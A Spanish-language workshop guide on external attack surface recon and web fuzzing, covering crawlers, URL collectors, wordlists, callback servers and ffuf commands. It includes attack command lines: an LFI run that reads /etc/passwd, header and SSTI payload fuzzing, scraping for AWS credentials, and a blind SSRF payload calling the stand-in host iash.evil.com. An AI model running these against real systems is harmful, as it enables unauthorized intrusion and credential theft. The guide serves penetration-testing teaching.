EASM 🤿

Fuerza bruta en login/creds por defecto

Nuclei tienen una gran biblioteca de plantillas con credenciales predeterminadas en función de la tecnología en configuraciones por defecto. Las plantillas de nuclei son bastante sencillas de crear por tu cuenta en caso de que quieras probar una gran cantidad de instancias de una aplicación específica.

Otras opciones incluyen tener a mano una lista de crendenciales y ejecutarla con ffuf. Esto requiere conocer un poco más el contexto de la aplicación (igual que para crear una plantilla de Nuclei) y no es fácil automatizar globalmente.

Recolectores de urls: Crawler

Katana

Un crawler que devuelve los enlaces encontrados en el sitio objetivo. Tiene una gran cantidad de opciones de configuración para no salirse de scope, así como incluir cookies de autenticación o cualquier tipo de headers. Además tiene un modo "headless" que permite interpretar el DOM o JS dinámicos complejo como si se tratase de un navegador web más.

katana -list url_list.txt -jc -kf -cs target.tld -ef jpg,png

Recolectores de urls: Pasivo / histórico

gau / waymore / github-endpoints

Extraer urls de un dominio desde diferentes servicios de terceros, como WaybackMachine, VirusTotal o URLScan. A veces es más útil que los crawlers/spiders porque pueden contener parámetros GET y darnos una idea de cómo se usan los endpoints, incluso pueden revelar información sensible

		# gau
		cat sites.txt | gau
		# waymore
		python3 waymore.py -i webs.txt -mode U -f -O file.txt
		# github-endpoints
		github-endpoints -d target.tld -t key.txt -o output.txt

Análisis URLs (patrones GF)

Wrapper de grep escrito en Go para la clasificación de urls y la búsqueda de patrones potencialmente vulnerables

SSRF
SQLi
base64
Clasificación por extensiones

Wordlists contextuales: basadas en el target

Se pueden utilizar herramientas de TomNomNom como unfurl para extraer partes interesantes de las urls y crear la base de una wordlist personalizada. Normalmente, estas partes interesantes incluyen parámetros, valores, rutas, etc.

Existen algunas herramientas antiguas y fiables como CeWL para la generación de listas de palabras basadas en objetivos a partir de todo el contenido del sitio.

Wordlists contextuales: basadas en la tecnología

OneListForAll tiene una buena colección de wordlists separadas por tecnologías.

Assetnote tiene una colección de wordlists específicamente elaboradas y basadas en el contexto.

Escáneres de vulnerabilidades específicos

Herramientas creadas en torno a una tecnología específica centradas en diferentes vulnerabilidades concretas

WPScan
CMSeek
aem-hacker
sret

Análisis JS

Todavía hay mucho margen de mejora en este aspecto, ya que el análisis sintáctico y la renderización de JS son difíciles de automatizar

Búsqueda de JS recursiva
Recolectores de endpoints
Secretos en JS

Responders: interactsh

Está disponible como solución hosteada por PDiscovery, pero se le saca mucho más partido si se hostea uno propio. Además cuando se trata de posibles vulnerabilidades, es importante que tú seas el único propietario de los datos

https://github.com/projectdiscovery/interactsh

Para hostear el server se necesita un servidor (VPS) con una dirección IP estática y un nombre de dominio.

En el contexto de pentesting web, se utiliza a menudo sólo como callback DNS para capturar peticiones SSRF.

Responders: XSSHunter

Esta es una gran herramienta para gestionar eficientemente vulnerabilidades XSS, especialmente para blind XSS. El XSSHunter original fue descontinuado hace poco y ha sido sustituido por un fork ligeramente modificado y hosteada por Trufflesec.

Para subrayar aún más que "debes hostearlo por ti mismo" (tanto la instancia como la propiedad de los datos), recientemente ha habido controversia con Trufflesec por farmear y publicar información de la base de datos de su version hosteada, supuestamente para estadísticas de uso.

OG: https://github.com/mandatoryprogrammer/xsshunter-express

Trufflesec fork: https://github.com/trufflesecurity/xsshunter

Web fuzzing avanzado

Ffuf es una gran herramienta para este propósito. Está diseñado para ser muy versátil, rollo navaja suiza para web fuzzing.

A continuación se mostrarán algunos ejemplos de escaneos automatizados que se pueden hacer con ffuf, pero se puede hacer mucho más. Para conocer más a fondo las distintas opciones disponibles, pásate por la documentación de ffuf.

Advanced web fuzzing: Extracción de credenciales

Ffuf proporciona una manera de añadir scraper rules.Son archivos json que se pueden guardar en $HOME/.config/ffuf/scraper/

Un archivo de ejemplo que puede utilizarse en el taller está en el repo. Éstas reglas se aplican pasivamente a todos los escaneos de ffuf si guardas el archivo en el directorio global de scrapers. Para un solo uso, se puede hacer referencia a un archivo de scraper con el parámetro -scraperfile.

# -mc 999 deshabilita la salida hasta que el scraper salte
ffuf -w all_urls.txt -u FUZZ -mc 999 \
	   -scraperfile aws_creds.json

Advanced web fuzzing: Virtualhosts

Se pruebam todos los nombres de host contra todos los targets web y devuelve todos los vhosts que reciben respuesta de de CDNs/load balancers. Esto puede llevar a veces a divertidas fallos de configuración.

ffuf -w hostnames.txt:VHOST -w hostnames.txt:DOMAIN \
				-u https://DOMAIN -H "Host: VHOST" -ac -ach

Advanced web fuzzing: Headers (blind)

Se combina una lista de headers junto con una lista de payloads para encontrar diferentes vulnerabilidades. Puedes ir a lo loco e incluir todo en la misma petición pero sería más complicado encontrar el payload bueno.

Normalmente esto lleva a XSS (a través de paneles administrativos normalmente), proxies inversos mal configurados, balanceadores de carga, etc.

Es interesante lanzar una ejecución por cada tipo de vuln. Por ejemplo: filtrado basado en el tiempo para time-based SQLi

ffuf -w headernames.txt:HEADERNAME -w payloads.txt:PAYLOAD \
				-w hostnames.txt:TARGET \
				-u https://TARGET \
				-H "HEADERNAME: PAYLOAD"

Advanced web fuzzing: SSTI

Puedes crear tu propia wordlist de payloads SSTI fáciles de identificar. Un buen recurso para empezar sería la página de PayloadsAllTheThings sobre SSTI.

Asegúrate de que el cálculo te devuelve algo único y fácil de contrastar. El típico {{7*7}} puede llevar a un montón de falsos positivos ;)

ffuf -w ssti_payloads.txt:SSTI -w get_params.txt:GETPARAM \
				-w hostnames.txt:TARGET \
				-u https://TARGET/?GETPARAM=SSTI \
				-mr 'result_of_your_unique_calculation_here'

Advanced web fuzzing: LFI

Puedes seguir el mismo principio que con los SSTI. En este caso interesa lanzar una ejecución de ffuf por cada payload en caso de que estés intentando leer diferentes archivos del filesystem.

Puedes usar la wordlist de LFI de Jhaddix, incluída en SecLists.

En el siguiente ejemplo se usa la wordlist de LFI con diferentes técnicas para leer /etc/passwd

ffuf -w lfi_payloads.txt:LFI -w get_params.txt:GETPARAM \
				-w hostnames.txt:TARGET \
				-u https://TARGET/?GETPARAM=LFI \
				-mr 'root:x:0:0:root'

Blind SSRF payloads

ffuf 2.0 tiene una función de mapeo inverso llamada FFUFHASH que permite añadir un placeholder único para payloads de blind SSRF. Esto funciona especialmente bien con interactsh. En el siguiente ejemplo el dominio de interactsh sería iash.evil.com:

ffuf -w params.txt -u \
		https://target.tld/?FUZZ=%2F%2FFFUFHASH.iash.evil.com

EASM - A deep 🤿

https://hconrecon23.github.io